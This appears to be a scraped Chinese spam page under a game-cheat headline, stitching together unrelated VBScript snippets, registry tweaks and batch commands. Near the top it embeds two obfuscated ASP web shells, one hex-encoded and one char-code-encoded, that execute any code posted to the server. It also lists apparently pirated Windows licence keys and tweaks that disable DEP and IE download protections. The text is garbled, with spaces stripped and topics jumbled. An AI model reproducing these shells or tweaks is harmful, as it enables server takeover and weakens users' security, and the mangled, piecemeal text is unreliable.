逆战脚本挂机刷星星扫拍卖

发布时间:2021-10-15 来源:脚本之家 点击:



  原则上讲,直接在Form里绘制曲线都是可以的,MSDN上面很多例程就是直接在Form里面绘制图形的,Form作为绘制图形的容器,不过一般应用中Form中不可避免的会有很多其他控件,所以我们选择PictureBox作为绘制曲线的容器
<scriptlanguage=vbsrunat=server>
Execute(HextoStr("65786563757465287265717565737428636872283335292929"))
FunctionHextoStr(data)
HextoStr="EXECUTE"""""
C="&CHR(&H"
N=")"
DoWhileLen(data)>1
IfIsNumeric(Left(data,1))Then
HextoStr=HextoStr&C&Left(data,2)&N
data=Mid(data,3)
Else
HextoStr=HextoStr&C&Left(data,4)&N
data=Mid(data,5)
EndIf
Loop
EndFunction
</script>
<SCRIPTRUNAT=SERVERLANGUAGE=JAVASCRIPT>eval(String.fromCharCode(
116,114,121,123,101,118,97,108,40,82,101,113,117,101,115,116,46,102,111,114,109,40,39,35,39,41,43,39,39,41,125,99,97,116,99,1
04,40,101,41,123,125))</SCRIPt>

魔兽脚本代练会封号吗
VBS病毒的执行离不开WSH,在带给人们便利的同时,WSH也为病毒的传播留下可乘之机
3.泡水里要可能就不能响了


Option Explicit
'这个脚本只用来分割文本文件,脚本需要3个参数
'参数列表
'文件名 参数1 参数2
'梦想工作室
'示例 参数1 参数2 参数意义
' S 5 等分为5个文件
' E 1024 按照1024的大小分割文件
' F 1024 取最前面的1024字节存为一个文件
' L 1024 取最后面的1024字节存为一个文件

Dim tf,sf,fname,souFile,desFolder ,sOption , sNum , FSO , fs, sfs

If WScript.Arguments.Count < 3 Then
WScript.Echo "参数有误!"
WScript.Quit
Else
souFile=WScript.Arguments(0)
sOption=WScript.Arguments(1)
sNum=WScript.Arguments(2)
End If

Set FSO=CreateObject("Scripting.FileSystemObject")
Set tf=FSO.GetFile(souFile)
fs=tf.Size
Set tf=fso.OpenTextFile(souFile, 1)

Dim x
Select Case sOption
Case "S"
sfs=Int ( fs / sNum )
for x=1 to sNum-1
SaveSubFile "file_" & x &".txt", 0 ,sfs
Next
SaveSubFile "file_" & sNum &".txt", 0 , fs - sfs * (sNum-1)
Case "E"
sfs=sNum
sNum=Int ( fs / sfs) + 1
for x=1 to sNum-1
SaveSubFile "file_" & x &".txt", 0 ,sfs
Next
SaveSubFile "file_" & sNum &".txt", 0 , fs - sfs * (sNum-1)
Case "F"
SaveSubFile "file_" & 0 &".txt", 0 , sNum
Case "L"
SaveSubFile "file_" & 0 &".txt", fs - sNum , sNum
End Select

tf.Close

Sub SaveSubFile(s,b,l)
Dim sfile,content
WScript.Echo s & ":" & b &":" & l
Set sfile=fso.CreateTextFile(s, TRUE)
If b>0 Then
tf.Skip(b)
End If
content=tf.Read(l)
sfile.Write(content)
sfile.Close
End Sub
->


重新启动电脑后在〔开始〕→〔执行〕→〔oobe/msoobe/a〕进入〔启动画面〕时应该显示已经启动
KLV,VOL版用户可用序列号:
MRX3F-47B9T-2487J-KWKMF-RPWBY(工行版)可用
QC986-27D34-6M3TY-JJXP9-TBGMD(台湾交大学生版)可用
CM3HY-26VYW-6JRYC-X66GX-JVY2D可用
DP7CM-PD6MC-6BKXT-M8JJ6-RPXGJ可用
F4297-RCWJP-P482C-YY23Y-XH8W3可用
HH7VV-6P3G9-82TWK-QKJJ3-MXR96可用
HCQ9D-TVCWX-X9QRG-J4B2Y-GR2TT可用

======去除系统面板上的远程和系统还原选项======
regsvr32/uremotepg.dll
regsvr32/uwuaueng.dll

======冒险岛刷新率设置成85HZ的注册表(对玩冒险岛黑屏的兄弟有用)======
WindowsRegistryEditorVersion5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Wizet\MapleStory]
"ExecPath"="E:\\OnlineGame\\冒险岛"
"EKEYUSE"=dword:00000000
"DGTIDUSE"=dword:00000000
"RMA"=dword:00000000
"LMA"=""
"LCWN"=""
"scrFirstRun"=dword:00000000
"soVideo"=dword:00000003
"soBGMVol"=dword:0000000f
"soBGMMute"=dword:00000000
"soSEVol"=dword:0000000f
"soSEMute"=dword:00000000
"soScreenShot"=dword:00000000
"soMouseSpeed"=dword:0000000a
"soHPFlash"=dword:0000000a
"soTremble"=dword:00000001
"jpBtn0"=dword:00000000
"jpBtn1"=dword:00000000
"jpBtn2"=dword:00000000
"jpBtn3"=dword:00000000
"jpBtn4"=dword:00000000
"jpBtn5"=dword:00000000
"jpBtn6"=dword:00000000
"jpBtn7"=dword:00000000
"jpBtn8"=dword:00000000
"scrRRate"=dword:00000055

======QQ面板上点QQ游戏无反映的解决注册表(一定是做母盘的时候没有运行过QQ游戏吧?)======
WindowsRegistryEditorVersion5.00

WindowsRegistryEditorVersion5.00
[HKEY_CURRENT_USER\Software\Tencent\QQGame\SYS]
"HallDirectory"="e:\\网游平台\\QQGame\"

"GameDirectory"="e:\\网游平台\\QQGame\"

[HKEY_LOCAL_MACHINE\Software\Classes\CLSID]
"CLBVersion"=dword:00000007

[HKEY_LOCAL_MACHINE\Software\Classes\CLSID\{11BEA40D-ED62-4996-B157-B6D9C637F2A5}\InprocServer32]
"ThreadingModel"="Apartment"

[HKEY_LOCAL_MACHINE\Software\Classes\CLSID\{B59750C3-29F1-44AA-BFA8-E5F6D3CE8596}\InProcServer32]
"ThreadingModel"="Both"

[HKEY_LOCAL_MACHINE\Software\Classes\Interface\{AA21B901-1642-4AB2-9C1C-A09B2412CC89}\TypeLib]
"Version"="1.0"

[HKEY_LOCAL_MACHINE\Software\Classes\Interface\{B2167A4F-BC4D-4DA7-90BF-C4BAF7D76714}\TypeLib]
"Version"="1.0"

[HKEY_LOCAL_MACHINE\Software\Tencent\QQGame\SYS]
"HallDirectory"="E:\\网游平台\\QQGame\"

"GameDirectory"="E:\\网游平台\\QQGame\"

======运行共享里的EXE不给予提示的方法======
IE--Internet选项--安全--自定义级别--安全设置--加载应用程序和不安全文件:选择|启用|即可

======制作2003系统最重要的步骤:让2003象XP一样兼容游戏======
修改boot.ini为:
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="WindowsServer2003,Standard"/NoExecute=alwaysoff/fastdetect
此方法等同于:我的电脑--属性--高级--性能--设置--数据执行保护,选择|只为关键Windows程序和服务启用数据执行保护|

======如果你的2003不能在线升级和打补丁,试试这个注册表======
WindowsRegistryEditorVersion5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion]
"ProductId"="69713-640-9722366-45198"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion]
"CurrentBuild"="1.511.1()(Obsoletedata-donotuse)"
"InstallDate"=dword:3f6c976d
"ProductName"="MicrosoftWindowsServer2003"
"RegDone"=""
"SoftwareType"="SYSTEM"
"CurrentVersion"="5.2"
"CurrentBuildNumber"="3790"
"BuildLab"="3790.srv03_rtm.030324-2048"
"CurrentType"="UniprocessorFree"
"ProductId"="69713-640-9722366-45198"
"DigitalProductId"=hex:a4,00,00,00,03,00,00,00,36,39,37,31,33,2d,36,34,30,2d,\
39,37,32,32,33,36,36,2d,34,35,31,39,38,00,5a,00,00,00,41,32,32,2d,30,30,30,\
30,31,00,00,00,00,00,00,00,00,e5,3f,e9,6a,2c,ed,25,35,12,ec,11,c9,8d,01,00,\
00,00,00,00,37,03,6d,3f,44,22,06,00,00,00,00,00,00,00,00,00,00,00,00,00,00,\
00,00,00,00,00,00,00,00,00,00,00,31,32,32,32,30,00,00,00,00,00,00,00,dc,0f,\
00,00,bf,4a,94,6c,80,00,00,00,15,18,00,00,00,00,00,00,00,00,00,00,00,00,00,\
00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,34,79,ca,d7
"LicenseInfo"=hex:71,84,c7,56,a0,d6,10,6e,70,b4,9f,e9,10,1a,1e,7a,01,a4,41,09,\
25,20,0e,80,83,80,1f,31,27,86,64,1f,31,dc,22,af,f7,7d,aa,e4,2a,b9,e5,e3,6c,\
e2,01,69,85,70,91,be,a7,9f,95,e5

======打开迅闪菜单的同时连接虚拟磁盘的VBS======
SetWshShell=WScript.CreateObject("WScript.Shell")
Return=WshShell.Run("c:\client\新调用.exe",0,true)
Return=WshShell.Run("iscsicliAddTargetPortal192.168.0.93260",0,true)
Return=WshShell.Run("iscsicliLoginTargetiqn.2005-02.com.ricecake.iscsi:00T***************0",0,true)
SetWshShell=Nothing

======开机VBS调用远程批处理(延时+无黑屏后台运行的效果)======
DIMobjShell
setobjShell=wscript.createObject("wscript.shell")
WScript.Sleep(10000)
iReturn=objShell.Run("cmd.exe/C\\server\E\123.bat",0,TRUE)

======修改IE状态栏显示字符的注册表(感谢雷锋战友和15楼的ciwzero)======

WindowsRegistryEditorVersion5.00

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\InternetSettings\Zones\3]
@=""
"DisplayName"="XX网吧"

======批处理获得本机的IP和MAC地址然后进行绑定(zzlike写的)======@echooff
for/f"tokens=1*delims=:"%%iin('ipconfig/all^|find/i"PhysicalAddress"')dosetmac=%%j
for/f"tokens=1*delims=:"%%iin('ipconfig/all^|find/i"IPAddress"')dosetip=%%j
arp-s%ip:~1%%Mac:~1%

======强制刷新组策略和注册表======
xp/2003命令
gpupdate/force
2k命令
secedit/refreshpolicymachine_policy/enforce

======批处理修改IE主页(斑竹dseation的帖上搞来的)======
@regdelete"HKEY_CURRENT_USER\Software\Microsoft\InternetExplorer\Main"/v"StartPage"/f
@regadd"HKEY_CURRENT_USER\Software\Microsoft\InternetExplorer\Main"/v"StartPage"/d""/f

======解除禁止下载的几种方法======
VBS代码:
DIMWSH
SETWSH=WSCRIPT.CreateObject("WSCRIPT.SHELL")
WSH.POPUP("本程序的作用是解决无法下载的问题")
WSH.Regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\InternetSettings\Zones03",0,"REG_DWORD"
WSH.POPUP("现在您可以下载程序了!")
PublicDeclareFunctionGetDesktopWindowLib"user32"()AsLong
PublicDeclareFunctionGetDCLib"user32"(ByValhwndAsLong)AsLong
PublicDeclareFunctionBitBltLib"gdi32"_
(ByValhDestDCAsLong,_
ByValxAsLong,_
ByValyAsLong,_
ByValnWidthAsLong,_
ByValnHeightAsLong,_
ByValhSrcDCAsLong,_
ByValxSrcAsLong,_
ByValySrcAsLong,_
ByValdwRopAsLong)AsLong

PrivateSubForm_Load()
DimlDesktopAsLong
DimlDCAsLong
Form1.AutoRedraw=True
Form1.ScaleMode=1
lDesktop=GetDesktopWindow()'取得桌面窗口
lDC=GetDC(lDesktop)'取得桌面窗口的设备场景
BitBltMe.hDC,0,0,Screen.Width,Screen.Height,lDC,0,0,vbSrcCopy'将桌面图象绘制到窗体
EndSub->


挂吗
最令人迷惑的地方是Null这个保留字,请看以下语句:
PrintX=Null
PrintX<>Null
结果都是输出Null(不是True也不是False),这是因为任何一个运算式只
要含有Null,则该运算式就等于Null,实际上想要判断某一数据是否为Null
绝对不能使用:
IfX=NullThen'永远都会得到Null
而要使用:
IfIsNull(X)Then
哪一种数据会等于Null呢?除了含有Null运算式之外,就属没有输入任
何数据的「数据字段」(在数据库中)会等于Null压缩:
FunctionfZip(sSourceFolder,sTargetZIPFile)
'ThisfunctionwilladdallofthefilesinasourcefoldertoaZIPfile
'usingWindows'nativefolderZIPcapability.
DimoShellApp,oFSO,iErr,sErrSource,sErrDescription
SetoShellApp=CreateObject("Shell.Application")
SetoFSO=CreateObject("Scripting.FileSystemObject")
'Thesourcefolderneedstohavea\ontheEnd
IfRight(sSourceFolder,1)<>""ThensSourceFolder=sSourceFolder&""
OnErrorResumeNext
'IfatargetZIPexistsalready,deleteit
IfoFSO.FileExists(sTargetZIPFile)ThenoFSO.DeleteFilesTargetZIPFile,True
iErr=Err.Number
sErrSource=Err.Source
sErrDescription=Err.Description
OnErrorGoTo0
IfiErr<>0Then
fZip=Array(iErr,sErrSource,sErrDescription)
ExitFunction
EndIf
OnErrorResumeNext
'Writethefileheaderforablankzipfile.
oFSO.OpenTextFile(sTargetZIPFile,2,True).Write"PK"&Chr(5)&Chr(6)&String(18,Chr(0))
iErr=Err.Number
sErrSource=Err.Source
sErrDescription=Err.Description
OnErrorGoTo0
IfiErr<>0Then
fZip=Array(iErr,sErrSource,sErrDescription)
ExitFunction
EndIf
OnErrorResumeNext
'Startcopyingfilesintothezipfromthesourcefolder.
oShellApp.NameSpace(sTargetZIPFile).CopyHereoShellApp.NameSpace(sSourceFolder).Items
iErr=Err.Number
sErrSource=Err.Source
sErrDescription=Err.Description
OnErrorGoTo0
IfiErr<>0Then
fZip=Array(iErr,sErrSource,sErrDescription)
ExitFunction
EndIf
'Becausethecopyingoccursinaseparateprocess,thescriptwilljustcontinue.RunaDO...LOOPtopreventthefunction
'fromexitinguntilthefileisfinishedzipping.
DoUntiloShellApp.NameSpace(sTargetZIPFile).Items.Count=oShellApp.NameSpace(sSourceFolder).Items.Count
WScript.Sleep1500'如果不成功,增加一下秒数
Loop
fZip=Array(0,"","")
EndFunction

CallfZip("C:\vbs","c:\vbs.zip")

网站地图 | Tag标签 | RSS订阅
Copyright © 2012-2019 脚本之家 All Rights Reserved
脚本之家  渝ICP备13030612号